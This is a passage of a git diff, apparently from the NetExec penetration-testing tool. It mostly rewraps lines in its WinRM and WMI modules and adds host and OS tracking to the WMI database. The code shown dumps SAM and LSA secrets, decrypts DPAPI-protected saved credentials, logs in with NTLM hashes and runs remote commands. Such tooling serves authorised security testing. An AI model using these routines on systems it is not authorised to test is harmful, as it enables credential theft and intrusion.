self.logger.extra["hostname"] = self.hostname + self.logger.extra["server_os"] = self.server_os - self.db.add_host(self.host, self.port, self.hostname, self.targetDomain, self.server_os) + self.db.add_host(self.host, self.port, self.hostname, + self.targetDomain, self.server_os) if self.args.domain: self.domain = self.args.domain @@ -82,8 +88,10 @@ def enum_host_info(self): def print_host_info(self): self.logger.extra["protocol"] = "WINRM-SSL" if self.ssl else "WINRM" self.logger.extra["port"] = self.port - ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" - self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain}) {ntlm}") + ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=[ + "bold"]) if self.no_ntlm else "" + self.logger.display( + f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain}) {ntlm}") def create_conn_obj(self): if self.is_link_local_ipv6: @@ -102,7 +110,8 @@ def create_conn_obj(self): for protocol in self.args.check_proto: endpoints[protocol] = {} - endpoints[protocol]["port"] = self.port[self.args.check_proto.index(protocol)] if len(self.port) == 2 else self.port[0] + endpoints[protocol]["port"] = self.port[self.args.check_proto.index( + protocol)] if len(self.port) == 2 else self.port[0] endpoints[protocol]["url"] = "{}://{}:{}/wsman".format( protocol, self.host if not self.is_ipv6 else f"[{self.host}]", @@ -113,12 +122,15 @@ def create_conn_obj(self): for protocol in endpoints: self.port = endpoints[protocol]["port"] try: - self.logger.debug(f"Requesting URL: {endpoints[protocol]['url']}") - res = requests.post(endpoints[protocol]["url"], headers=headers, verify=False, timeout=self.args.http_timeout) + self.logger.debug( + f"Requesting URL: {endpoints[protocol]['url']}") + res = requests.post( + endpoints[protocol]["url"], headers=headers, verify=False, timeout=self.args.http_timeout) self.logger.debug(f"Received response code: {res.status_code}") self.challenge_header = res.headers["WWW-Authenticate"] if (not self.challenge_header) or ("Negotiate" not in self.challenge_header): - self.logger.info('Failed to get NTLM challenge from target "/wsman" endpoint, maybe isn\'t winrm service.') + self.logger.info( + 'Failed to get NTLM challenge from target "/wsman" endpoint, maybe isn\'t winrm service.') return False self.endpoint = endpoints[protocol]["url"] self.ssl = endpoints[protocol]["ssl"] @@ -127,9 +139,11 @@ def create_conn_obj(self): self.logger.info(f"Connection Timed out to WinRM service: {e}") except requests.exceptions.ConnectionError as e: if "Max retries exceeded with url" in str(e): - self.logger.info("Connection Timeout to WinRM service (max retries exceeded)") + self.logger.info( + "Connection Timeout to WinRM service (max retries exceeded)") else: - self.logger.info(f"Other ConnectionError to WinRM service: {e}") + self.logger.info( + f"Other ConnectionError to WinRM service: {e}") return False def check_if_admin(self): @@ -141,7 +155,8 @@ def check_if_admin(self): ET.SubElement(enum_msg, f"{{{wsmn}}}OptimizeEnumeration") ET.SubElement(enum_msg, f"{{{wsmn}}}MaxElements").text = "32000" - wsman.enumerate("http://schemas.microsoft.com/wbem/wsman/1/windows/shell", enum_msg) + wsman.enumerate( + "http://schemas.microsoft.com/wbem/wsman/1/windows/shell", enum_msg) self.admin_privs = True return True @@ -165,27 +180,36 @@ def plaintext_login(self, domain, username, password): ) self.check_if_admin() - self.logger.success(f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") - - self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") - self.db.add_credential("plaintext", domain, self.username, self.password) - user_id = self.db.get_credential("plaintext", domain, self.username, self.password) + self.logger.success( + f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") + + self.logger.debug( + f"Adding credential: {domain}/{self.username}:{self.password}") + self.db.add_credential("plaintext", domain, + self.username, self.password) + user_id = self.db.get_credential( + "plaintext", domain, self.username, self.password) host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(user_id, host_id) if self.admin_privs: self.logger.debug("Inside admin privs") - self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host, user_id=user_id) # , user_id=user_id) - add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) + self.db.add_admin_user("plaintext", domain, self.username, + self.password, self.host, user_id=user_id) # , user_id=user_id) + add_user_bh(f"{self.hostname}$", domain, + self.logger, self.config) if not self.args.local_auth and self.username != "": - add_user_bh(self.username, self.domain, self.logger, self.config) + add_user_bh(self.username, self.domain, + self.logger, self.config) return True except Exception as e: if "with ntlm" in str(e): - self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)}") + self.logger.fail( + f"{self.domain}\\{self.username}:{process_secret(self.password)}") else: - self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {e!s}") + self.logger.fail( + f"{self.domain}\\{self.username}:{process_secret(self.password)} {e!s}") return False def hash_login(self, domain, username, ntlm_hash): @@ -218,26 +242,33 @@ def hash_login(self, domain, username, ntlm_hash): ) self.check_if_admin() - self.logger.success(f"{self.domain}\\{self.username}:{process_secret(nthash)} {self.mark_pwned()}") + self.logger.success( + f"{self.domain}\\{self.username}:{process_secret(nthash)} {self.mark_pwned()}") self.db.add_credential("hash", domain, self.username, ntlm_hash) - user_id = self.db.get_credential("hash", domain, self.username, ntlm_hash) + user_id = self.db.get_credential( + "hash", domain, self.username, ntlm_hash) host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(user_id, host_id) if self.admin_privs: - self.db.add_admin_user("hash", domain, self.username, nthash, self.host, user_id=user_id) - add_user_bh(f"{self.hostname}$", domain, self.logger, self.config) + self.db.add_admin_user( + "hash", domain, self.username, nthash, self.host, user_id=user_id) + add_user_bh(f"{self.hostname}$", domain, + self.logger, self.config) if not self.args.local_auth and self.username != "": - add_user_bh(self.username, self.domain, self.logger, self.config) + add_user_bh(self.username, self.domain, + self.logger, self.config) return True except Exception as e: if "with ntlm" in str(e): - self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.nthash)}") + self.logger.fail( + f"{self.domain}\\{self.username}:{process_secret(self.nthash)}") else: - self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {e!s}") + self.logger.fail( + f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {e!s}") return False def execute(self, payload=None, get_output=False, shell_type="cmd"): @@ -245,17 +276,21 @@ def execute(self, payload=None, get_output=False, shell_type="cmd"): payload = self.args.execute try: - result = self.conn.execute_cmd(payload, encoding=self.args.codec) if shell_type == "cmd" else self.conn.execute_ps(payload) + result = self.conn.execute_cmd( + payload, encoding=self.args.codec) if shell_type == "cmd" else self.conn.execute_ps(payload) except Exception as e: # Reference: https://github.com/diyan/pywinrm/issues/275 if hasattr(e, "code") and e.code == 5: - self.logger.fail(f"Execute command failed, current user: '{self.domain}\\{self.username}' has no 'Invoke' rights to execute command (shell type: {shell_type})") + self.logger.fail( + f"Execute command failed, current user: '{self.domain}\\{self.username}' has no 'Invoke' rights to execute command (shell type: {shell_type})") if shell_type == "cmd": - self.logger.info("Cannot execute command via cmd, the user probably does not have invoke rights with Root WinRM listener - now switching to Powershell to attempt execution") + self.logger.info( + "Cannot execute command via cmd, the user probably does not have invoke rights with Root WinRM listener - now switching to Powershell to attempt execution") self.execute(payload, get_output, shell_type="powershell") elif ("decode" in str(e)) and not get_output: - self.logger.success(f"Executed command (shell type: {shell_type})") + self.logger.success( + f"Executed command (shell type: {shell_type})") else: self.logger.fail(f"Execute command failed, error: {e!s}") else: @@ -266,7 +301,8 @@ def execute(self, payload=None, get_output=False, shell_type="cmd"): if shell_type == "powershell": result: tuple[str, PSDataStreams, bool] if result[2]: - self.logger.fail("Error executing powershell command, non-zero return code") + self.logger.fail( + "Error executing powershell command, non-zero return code") for out_type in ["debug", "verbose", "information", "progress", "warning", "error"]: stream: list[str] = getattr(result[1], out_type) for msg in stream: @@ -290,7 +326,8 @@ def execute(self, payload=None, get_output=False, shell_type="cmd"): def ps_execute(self, payload=None, get_output=False): command = payload if payload else self.args.ps_execute - result = self.execute(payload=command, get_output=get_output, shell_type="powershell") + result = self.execute( + payload=command, get_output=get_output, shell_type="powershell") if get_output: return result @@ -307,15 +344,21 @@ def sam(self): clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}" output_filename = self.output_file_template.format(output_folder="sam") try: - self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'") - self.conn.fetch(f"C:\\windows\\temp\\{sam_storename}", output_filename + ".sam") - self.conn.fetch(f"C:\\windows\\temp\\{system_storename}", output_filename + ".system") - self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'") + self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps( + f"cmd /c '{dump_command}'") + self.conn.fetch( + f"C:\\windows\\temp\\{sam_storename}", output_filename + ".sam") + self.conn.fetch( + f"C:\\windows\\temp\\{system_storename}", output_filename + ".system") + self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps( + f"cmd /c '{clean_command}'") except Exception as e: if ("does not exist" in str(e)) or ("TransformFinalBlock" in str(e)): - self.logger.fail("Failed to dump SAM hashes, it may have been detected by AV or current user is not privileged user") + self.logger.fail( + "Failed to dump SAM hashes, it may have been detected by AV or current user is not privileged user") elif hasattr(e, "code") and e.code == 5: - self.logger.fail(f"Dump SAM hashes with {self.args.dump_method} failed, please try '--dump-method'") + self.logger.fail( + f"Dump SAM hashes with {self.args.dump_method} failed, please try '--dump-method'") else: self.logger.fail(f"Failed to dump SAM hashes, error: {e!s}") else: @@ -338,15 +381,21 @@ def lsa(self): clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}" output_filename = self.output_file_template.format(output_folder="lsa") try: - self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'") - self.conn.fetch(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security") - self.conn.fetch(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system") - self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{clean_command}'") + self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps( + f"cmd /c '{dump_command}'") + self.conn.fetch( + f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security") + self.conn.fetch( + f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system") + self.conn.execute_cmd(clean_command) if self.args.dump_method == "cmd" else self.conn.execute_ps( + f"cmd /c '{clean_command}'") except Exception as e: if ("does not exist" in str(e)) or ("TransformFinalBlock" in str(e)): - self.logger.fail("Failed to dump LSA secrets, it may have been detected by AV or current user is not privileged user") + self.logger.fail( + "Failed to dump LSA secrets, it may have been detected by AV or current user is not privileged user") elif hasattr(e, "code") and e.code == 5: - self.logger.fail(f"Dump LSA secrets with {self.args.dump_method} failed, please try '--dump-method'") + self.logger.fail( + f"Dump LSA secrets with {self.args.dump_method} failed, please try '--dump-method'") else: self.logger.fail(f"Failed to dump LSA secrets, error: {e!s}") else: @@ -358,7 +407,8 @@ def lsa(self): boot_key, None, isRemote=None, - perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret), + perSecretCallback=lambda secret_type, secret: self.logger.highlight( + secret), ) LSA.dumpCachedHashes() LSA.dumpSecrets() @@ -369,15 +419,19 @@ def dpapi(self): The flow is inspired by and a simplified version of dploot's triage methods for user masterkeys and credentials. Actual decryption of keys and credentials is taken and adapted from impacket-dpapi. """ - user_masterkey_path = ntpath.join("C:\\Users", self.username, "AppData\\Roaming\\Microsoft\\Protect") + user_masterkey_path = ntpath.join( + "C:\\Users", self.username, "AppData\\Roaming\\Microsoft\\Protect") user_credentials_paths = [ - ntpath.join("C:\\Users", self.username, "AppData\\Roaming\\Microsoft\\Credentials"), - ntpath.join("C:\\Users", self.username, "AppData\\Local\\Microsoft\\Credentials") + ntpath.join("C:\\Users", self.username, + "AppData\\Roaming\\Microsoft\\Credentials"), + ntpath.join("C:\\Users", self.username, + "AppData\\Local\\Microsoft\\Credentials") ] self.logger.display("Collecting DPAPI masterkeys...") - sids = self.ps_execute(f"Get-ChildItem -Path {user_masterkey_path} -Name -Directory -Include 'S-*'", True) + sids = self.ps_execute( + f"Get-ChildItem -Path {user_masterkey_path} -Name -Directory -Include 'S-*'", True) if not sids: self.logger.fail(f"No masterkeys found for user {self.username}") return @@ -385,7 +439,8 @@ def dpapi(self): masterkeys = [] for sid in sids.splitlines(): keys_path = ntpath.join(user_masterkey_path, sid.strip()) - keys = self.ps_execute(f"Get-ChildItem -Path {keys_path} -Name -Hidden -File -Exclude 'Preferred'", True) + keys = self.ps_execute( + f"Get-ChildItem -Path {keys_path} -Name -Hidden -File -Exclude 'Preferred'", True) for key in keys.splitlines(): stripped_key = key.strip() if is_guid(stripped_key): @@ -393,7 +448,8 @@ def dpapi(self): self.logger.debug(f"Found masterkey file {key_path}") local_key_file = f"{TMP_PATH}/{stripped_key}" self.conn.fetch(key_path, local_key_file) - decrypted_key = self.get_master_key(local_key_file, sid, self.password) + decrypted_key = self.get_master_key( + local_key_file, sid, self.password) if decrypted_key: masterkeys.append((stripped_key, decrypted_key)) @@ -401,22 +457,26 @@ def dpapi(self): self.logger.fail("Could not decrypt any keys") return - self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") + self.logger.success( + f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") credential_files = [] for user_credentials_path in user_credentials_paths: - creds = self.ps_execute(f"Get-ChildItem -Path {user_credentials_path} -Name -Hidden -File", True) + creds = self.ps_execute( + f"Get-ChildItem -Path {user_credentials_path} -Name -Hidden -File", True) for cred_file in creds.splitlines(): stripped_cred_file = cred_file.strip() if is_credfile(stripped_cred_file): - creds_path = ntpath.join(user_credentials_path, stripped_cred_file) + creds_path = ntpath.join( + user_credentials_path, stripped_cred_file) self.logger.debug(f"Found credentials file {creds_path}") local_cred_file = f"{TMP_PATH}/{stripped_cred_file}" self.conn.fetch(creds_path, local_cred_file) credential_files.append(local_cred_file) if not credential_files: - self.log.fail(f"No credential files found for user {self.username}") + self.log.fail( + f"No credential files found for user {self.username}") return for creds_file in credential_files: @@ -426,13 +486,15 @@ def dpapi(self): blob = DPAPI_BLOB(cred["Data"]) guid_masterkey = bin_to_string(blob["GuidMasterKey"]) - right_key = next((key for guid, key in masterkeys if guid.lower() == guid_masterkey.lower()), None) + right_key = next( + (key for guid, key in masterkeys if guid.lower() == guid_masterkey.lower()), None) if right_key is not None: try: decrypted = blob.decrypt(right_key) if decrypted is not None: - self.logger.debug(f"Successfully decrypted credentials in {creds_file}:") + self.logger.debug( + f"Successfully decrypted credentials in {creds_file}:") creds = CREDENTIAL_BLOB(decrypted) if creds["Unknown3"] != b"": target = creds["Target"].decode("utf-16le") @@ -441,12 +503,15 @@ def dpapi(self): password = creds["Unknown3"].decode("utf-16le") except UnicodeDecodeError: password = creds["Unknown3"].decode("latin-1") - self.logger.highlight(f"{target} - {username}:{password}") + self.logger.highlight( + f"{target} - {username}:{password}") except Exception as e: - self.logger.fail(f"Failed to decrypt credentials in {creds_file} with masterkey: {e!s}") + self.logger.fail( + f"Failed to decrypt credentials in {creds_file} with masterkey: {e!s}") self.logger.debug(traceback.format_exc()) else: - self.logger.fail(f"No matching masterkey found for credentials in {creds_file} (need {guid_masterkey})") + self.logger.fail( + f"No matching masterkey found for credentials in {creds_file} (need {guid_masterkey})") def get_master_key(self, masterkey_file, sid, password): """ @@ -494,7 +559,8 @@ def get_master_key(self, masterkey_file, sid, password): decryptedKey = bkmk.decrypt(key3) if decryptedKey: - self.logger.debug("Decrypted Backup key with User Key (MD4 protected)") + self.logger.debug( + "Decrypted Backup key with User Key (MD4 protected)") return decryptedKey decryptedKey = bkmk.decrypt(key2) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index e86425e998..13ad43b982 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -16,7 +16,8 @@ from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login -MSRPC_UUID_PORTMAP = uuidtup_to_bin(("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.0")) +MSRPC_UUID_PORTMAP = uuidtup_to_bin( + ("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.0")) class wmi(connection): @@ -54,16 +55,19 @@ def proto_logger(self): "protocol": "WMI", "host": self.host, "port": self.port, - "hostname": self.hostname + "hostname": self.hostname, + "server_os": self.server_os, } ) def create_conn_obj(self): connection_target = fr"ncacn_ip_tcp:{self.remoteName}[{self.port!s}]" - self.logger.debug(f"Creating WMI connection object to {connection_target}") + self.logger.debug( + f"Creating WMI connection object to {connection_target}") try: rpctansport = transport.DCERPCTransportFactory(connection_target) - rpctansport.set_credentials(username="", password="", domain="", lmhash="", nthash="", aesKey="") + rpctansport.set_credentials( + username="", password="", domain="", lmhash="", nthash="", aesKey="") rpctansport.setRemoteHost(self.host) rpctansport.set_connect_timeout(self.args.rpc_timeout) dce = rpctansport.get_dce_rpc() @@ -72,10 +76,12 @@ def create_conn_obj(self): dce.bind(MSRPC_UUID_PORTMAP) dce.disconnect() except Exception as e: - self.logger.debug(f"Received error creating WMI connection object: {e}") + self.logger.debug( + f"Received error creating WMI connection object: {e}") return False else: - self.logger.debug(f"Successfully created WMI connection object to {connection_target}") + self.logger.debug( + f"Successfully created WMI connection object to {connection_target}") self.conn = rpctansport return True @@ -86,7 +92,8 @@ def enum_host_info(self): bind = MSRPCBind() item = CtxItem() item["AbstractSyntax"] = epm.MSRPC_UUID_PORTMAP - item["TransferSyntax"] = uuidtup_to_bin(("8a885d04-1ceb-11c9-9fe8-08002b104860", "2.0")) + item["TransferSyntax"] = uuidtup_to_bin( + ("8a885d04-1ceb-11c9-9fe8-08002b104860", "2.0")) item["ContextID"] = 0 item["TransItems"] = 1 bind.addCtxItem(item) @@ -96,7 +103,8 @@ def enum_host_info(self): packet["pduData"] = bind.getData() packet["call_id"] = 1 - auth = ntlm.getNTLMSSPType1("", "", signingRequired=True, use_ntlmv2=True) + auth = ntlm.getNTLMSSPType1( + "", "", signingRequired=True, use_ntlmv2=True) sec_trailer = SEC_TRAILER() sec_trailer["auth_type"] = RPC_C_AUTHN_WINNT sec_trailer["auth_level"] = RPC_C_AUTHN_LEVEL_PKT_INTEGRITY @@ -123,6 +131,7 @@ def enum_host_info(self): self.hostname = ntlm_info["hostname"] self.server_os = ntlm_info["os_version"] self.logger.extra["hostname"] = self.hostname + self.logger.extra["server_os"] = self.server_os else: self.hostname = self.host if self.args.local_auth: @@ -130,24 +139,39 @@ def enum_host_info(self): if self.args.domain: self.domain = self.args.domain + try: + self.db.add_host( + self.host, + self.hostname, + self.domain, + self.server_os, + ) + except Exception as e: + self.logger.debug(f"Error adding host {self.host} into db: {e!s}") + # DCOM connection with kerberos needed self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}" if not self.kdcHost and self.domain: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None - self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") + self.logger.info( + f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") def print_host_info(self): self.logger.extra["protocol"] = "RPC" self.logger.extra["port"] = "135" - self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})") + self.logger.display( + f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})") def check_if_admin(self): try: - dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host) - iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login) - flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout) + dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, + oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host) + iInterface = dcom.CoCreateInstanceEx( + CLSID_WbemLevel1Login, IID_IWbemLevel1Login) + flag, self.stringBinding = dcom_FirewallChecker( + iInterface, self.host, self.args.rpc_timeout) except Exception as e: self.logger.debug(f"Received error while checking admin: {e}") if "dcom" in locals(): @@ -162,11 +186,13 @@ def check_if_admin(self): if not self.stringBinding: error_msg = "Check admin error: dcom initialization failed: can't get target stringbinding, maybe cause by IPv6 or any other issues, please check your target again" - self.logger.fail(error_msg) if not flag else self.logger.debug(error_msg) + self.logger.fail( + error_msg) if not flag else self.logger.debug(error_msg) else: try: iWbemLevel1Login = IWbemLevel1Login(iInterface) - iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) + iWbemServices = iWbemLevel1Login.NTLMLogin( + "//./root/cimv2", NULL, NULL) except Exception as e: dcom.disconnect() @@ -195,18 +221,21 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", self.nthash = nthash self.lmhash = lmhash - kerb_pass = next(s for s in [nthash, password, aesKey] if s) if not all(s == "" for s in [nthash, password, aesKey]) else "" + kerb_pass = next(s for s in [nthash, password, aesKey] if s) if not all( + s == "" for s in [nthash, password, aesKey]) else "" if useCache and kerb_pass == "": ccache = CCache.loadFile(os.getenv("KRB5CCNAME")) self.logger.debug(f"Using ccache from {ccache}") - username = ccache.credentials[0].header["client"].prettyPrint().decode().split("@")[0] + username = ccache.credentials[0].header["client"].prettyPrint( + ).decode().split("@")[0] self.username = username used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" try: self.logger.debug(f"Attempting to connect via WMI to {self.host}") - self.conn.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=self.aesKey) + self.conn.set_credentials(username=username, password=password, + domain=domain, lmhash=lmhash, nthash=nthash, aesKey=self.aesKey) self.conn.setRemoteHost(self.host) self.conn.set_kerberos(True, kdcHost) dce = self.conn.get_dce_rpc() @@ -231,7 +260,8 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", return False else: try: - self.logger.debug("Got valid creds, trying to get data from RPC connection") + self.logger.debug( + "Got valid creds, trying to get data from RPC connection") entry_handle = epm.ept_lookup_handle_t() request = epm.ept_lookup() request["inquiry_type"] = 0x0 @@ -249,7 +279,8 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", if code in error_msg: error_msg = self.rpc_error_status[code] out = f"{self.domain}\\{self.username}{used_ccache} {error_msg.upper()}" - self.logger.fail(out, color=("red" if "access_denied" in error_msg else "magenta")) + self.logger.fail(out, color=( + "red" if "access_denied" in error_msg else "magenta")) return False else: self.doKerberos = True @@ -264,7 +295,8 @@ def plaintext_login(self, domain, username, password): self.username = username self.domain = domain try: - self.conn.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash) + self.conn.set_credentials(username=self.username, password=self.password, + domain=self.domain, lmhash=self.lmhash, nthash=self.nthash) dce = self.conn.get_dce_rpc() dce.set_auth_type(RPC_C_AUTHN_WINNT) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) @@ -294,7 +326,8 @@ def plaintext_login(self, domain, username, password): for code in self.rpc_error_status: if code in error_msg: error_msg = self.rpc_error_status[code] - self.logger.fail((f"{self.domain}\\{self.username}:{process_secret(self.password)} ({error_msg.upper()})"), color=("red" if "access_denied" in error_msg else "magenta")) + self.logger.fail((f"{self.domain}\\{self.username}:{process_secret(self.password)} ({error_msg.upper()})"), color=( + "red" if "access_denied" in error_msg else "magenta")) return False else: self.check_if_admin() @@ -319,7 +352,8 @@ def hash_login(self, domain, username, ntlm_hash): self.lmhash = lmhash try: - self.conn.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=lmhash, nthash=nthash) + self.conn.set_credentials( + username=self.username, password=self.password, domain=self.domain, lmhash=lmhash, nthash=nthash) dce = self.conn.get_dce_rpc() dce.set_auth_type(RPC_C_AUTHN_WINNT) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) @@ -349,7 +383,8 @@ def hash_login(self, domain, username, ntlm_hash): for code in self.rpc_error_status: if code in error_msg: error_msg = self.rpc_error_status[code] - self.logger.fail((f"{self.domain}\\{self.username}:{process_secret(self.nthash)} ({error_msg.upper()})"), color=("red" if "access_denied" in error_msg else "magenta")) + self.logger.fail((f"{self.domain}\\{self.username}:{process_secret(self.nthash)} ({error_msg.upper()})"), color=( + "red" if "access_denied" in error_msg else "magenta")) return False else: self.check_if_admin() @@ -375,8 +410,10 @@ def wmi(self, wql=None, namespace=None): namespace = self.args.wmi_namespace try: - dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host) - iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login) + dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, + oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host) + iInterface = dcom.CoCreateInstanceEx( + CLSID_WbemLevel1Login, IID_IWbemLevel1Login) iWbemLevel1Login = IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL) iWbemLevel1Login.RemRelease() @@ -414,24 +451,31 @@ def execute(self, command=None, get_output=False, use_powershell=False): get_output = True if "systeminfo" in command and self.args.exec_timeout < 10: - self.logger.fail("Execute 'systeminfo' must set the interval time higher than 10 seconds") + self.logger.fail( + "Execute 'systeminfo' must set the interval time higher than 10 seconds") return "" if self.server_os is not None and "NT 5" in self.server_os: - self.logger.fail("Execute command failed, not support current server os (version < NT 6)") + self.logger.fail( + "Execute command failed, not support current server os (version < NT 6)") return "" if self.args.exec_method == "wmiexec": - exec_method = wmiexec.WMIEXEC(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.host, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec) - output = exec_method.execute(command, get_output, use_powershell=use_powershell) + exec_method = wmiexec.WMIEXEC(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, + self.doKerberos, self.kdcHost, self.host, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec) + output = exec_method.execute( + command, get_output, use_powershell=use_powershell) elif self.args.exec_method == "wmiexec-event": - exec_method = wmiexec_event.WMIEXEC_EVENT(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.host, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec) - output = exec_method.execute(command, get_output, use_powershell=use_powershell) + exec_method = wmiexec_event.WMIEXEC_EVENT(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, + self.doKerberos, self.kdcHost, self.host, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec) + output = exec_method.execute( + command, get_output, use_powershell=use_powershell) self.conn.disconnect() if self.args.execute and get_output: - self.logger.success(f'Executed command: "{command}" via {self.args.exec_method}') + self.logger.success( + f'Executed command: "{command}" via {self.args.exec_method}') buf = StringIO(output).readlines() for line in buf: if line.strip(): @@ -450,7 +494,8 @@ def execute_psh(self, command=None, get_output=False): output = self.execute(command, get_output, use_powershell=True) if self.args.execute_psh and get_output: - self.logger.success(f'Executed PowerShell command: "{command}" via {self.args.exec_method}') + self.logger.success( + f'Executed PowerShell command: "{command}" via {self.args.exec_method}') buf = StringIO(output).readlines() for line in buf: if line.strip(): diff --git a/nxc/protocols/wmi/database.py b/nxc/protocols/wmi/database.py index fdf3f720cf..4d762fd873 100644 --- a/nxc/protocols/wmi/database.py +++ b/nxc/protocols/wmi/database.py @@ -1,6 +1,9 @@ -from sqlalchemy import Column, Integer, PrimaryKeyConstraint, String +from sqlalchemy import Column, Integer, PrimaryKeyConstraint, UniqueConstraint, String, select +from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.orm import declarative_base + from nxc.database import BaseDB +from nxc.logger import nxc_logger Base = declarative_base() @@ -28,9 +31,12 @@ class Host(Base): ip = Column(String) hostname = Column(String) port = Column(Integer) + domain = Column(String) + os = Column(String) __table_args__ = ( PrimaryKeyConstraint("id"), + UniqueConstraint("ip"), ) @staticmethod @@ -40,3 +46,57 @@ def db_schema(db_conn): def reflect_tables(self): self.CredentialsTable = self.reflect_table(self.Credential) self.HostsTable = self.reflect_table(self.Host) + + def add_host( + self, + ip, + hostname, + domain, + os, + ): + """Check if this host has already been added to the database, if not, add it in.""" + hosts = [] + updated_ids = [] + + q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip) + results = self.db_execute(q).all() + + # create new host + if not results: + new_host = { + "ip": ip, + "hostname": hostname, + "domain": domain, + "os": os if os is not None else "", + } + hosts = [new_host] + # update existing hosts data + else: + for host in results: + host_data = host._asdict() + # only update column if it is being passed in + if ip is not None: + host_data["ip"] = ip + if hostname is not None: + host_data["hostname"] = hostname + if domain is not None: + host_data["domain"] = domain + if os is not None: + host_data["os"] = os + # only add host to be updated if it has changed + if host_data not in hosts: + hosts.append(host_data) + updated_ids.append(host_data["id"]) + nxc_logger.debug(f"Update Hosts: {hosts}") + + # TODO: find a way to abstract this away to a single Upsert call + q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id) + update_columns = { + col.name: col for col in q.excluded if col.name not in "id"} + q = 